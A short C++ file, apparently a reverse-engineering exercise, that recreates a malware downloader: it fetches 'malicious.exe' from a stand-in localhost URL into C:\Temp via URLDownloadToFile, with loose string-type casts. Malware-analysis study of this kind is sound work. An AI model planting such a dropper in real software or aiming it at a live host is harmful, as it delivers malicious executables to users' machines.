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//Reversed C++ Downloader Program
//
//This program simulates a basic downloader. It downloads a file from a server and stores it
//in the Temp folder as malicious.exe on the local system.
//
#include <UrlMon.h>
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <Wininet.h>
#include <tchar.h>

#pragma comment(lib,"Urlmon.lib")

using namespace std;

//declare functions
void * __cdecl operator_new(int var);
int download_file(LPCSTR *object);

int main()//main method
{
    LPCSTR *object;

    object = (LPCSTR *)operator_new(4);//this function allocates size of heap (malloc)
                                         //new operator function returns a (lpcstr) object

    const TCHAR url[69]=L"http://localhost/malicious-site.com/malicious.exe";//path to site / file
    *object =(LPCSTR)url;//convert string(TCHAR) to a lpcstr object pointer

    download_file(object);//download file function

    system("pause");
    return 0;
}

//Download file function
int download_file(LPCSTR *object){
    const TCHAR FILEpath[25]=L"C:\\Temp\\malicious.exe";

    LPWSTR obj =(LPWSTR)*object;

    URLDownloadToFile(NULL,obj,FILEpath,NULL,NULL);

    return 0;
}

void * __cdecl operator_new(int var){
    void *result;

    result = malloc(var);
    // memory allocat var (number of bytes) bytes on the heap

    return result;
}

```